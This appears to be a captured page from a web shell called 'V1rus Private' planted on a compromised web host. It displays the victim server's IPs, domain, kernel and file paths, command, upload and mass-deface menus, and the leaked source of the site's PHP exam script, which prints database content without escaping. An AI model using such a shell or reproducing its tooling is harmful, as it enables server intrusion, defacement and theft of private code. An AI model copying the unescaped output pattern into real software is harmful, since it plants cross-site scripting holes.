V1rus Private
User / IP
:
216.73.217.108
Host / Server
:
190.92.174.125 / aerosofthealthcare.com
System
:
Linux s3739.bom1.stableserver.net 4.18.0-513.24.1.lve.2.el8.x86_64 #1 SMP Fri May 24 12:42:50 UTC 2024 x86_64
Cmd
|
Upload
|
Mass Deface
|
Create
|
Sym
:
/
home
/
aerosoft
/
www
/
exam
/
Viewing: start_exam.php
<?php include 'config.php'; if (!isset($_SESSION['student_id'])) { die("Unauthorized access"); } if ($_SERVER['REQUEST_METHOD'] == 'POST') { $category_id = $_POST['category_id']; $student_id = $_SESSION['student_id']; // Check if exam already exists $stmt = $pdo->prepare("SELECT * FROM exams WHERE student_id = ? AND category_id = ? AND status = 'pending'"); $stmt->execute([$student_id, $category_id]); $existingExam = $stmt->fetch(); if (!$existingExam) { // Create new exam $stmt = $pdo->prepare("INSERT INTO exams (student_id, category_id, started_at) VALUES (?, ?, NOW())"); $stmt->execute([$student_id, $category_id]); $exam_id = $pdo->lastInsertId(); } else { $exam_id = $existingExam['id']; } // Get questions for this category $stmt = $pdo->prepare("SELECT * FROM questions WHERE category_id = ? ORDER BY RAND() LIMIT 10"); $stmt->execute([$category_id]); $questions = $stmt->fetchAll(); if (empty($questions)) { echo "<div class='alert alert-warning'>No questions available for this category.</div>"; exit; } ?> <form id="examForm"> <input type="hidden" name="exam_id" value="<?php echo $exam_id; ?>"> <div class="questions-container"> <?php foreach ($questions as $index => $question): ?> <div class="question mb-4"> <h6>Question <?php echo $index + 1; ?>:</h6> <p><?php echo $question['question_text']; ?></p> <div class="options"> <?php for ($i = 1; $i <= 4; $i++): ?> <div class="form-check"> <input class="form-check-input" type="radio" name="question_<?php echo $question['id']; ?>" id="q<?php echo $question['id']; ?>_opt<?php echo $i; ?>" value="<?php echo $i; ?>"> <label class="form-check-label" for="q<?php echo $question['id']; ?>_opt<?php echo $i; ?>"> <?php echo $question['option' . $i]; ?> </label> </div> <?php endfor; ?> </div> </div> <?php endforeach; ?> </div> <button type="button" class="btn btn-success" onclick="submitExam()">Submit Exam</button> </form> <script> function submitExam() { var formData = new FormData(); formData.append('exam_id', <?php echo $exam_id; ?>); // Collect all answers <?php foreach ($questions as $question): ?> var answer = document.querySelector('input[name="question_<?php echo $question['id']; ?>"]:checked'); if (answer) { formData.append('answers[<?php echo $question['id']; ?>]', answer.value); } <?php endforeach; ?> // Submit via AJAX fetch('submit_exam.php', { method: 'POST', body: formData }) .then(response => response.json()) .then(data => { if (data.success) { alert('Exam submitted successfully! Score: ' + data.score + '%'); $('#examModal').modal('hide'); location.reload(); } else { alert('Error submitting exam: ' + data.message); } }); } </script> <?php } ?>
Coded With 💗 by
HanzOFC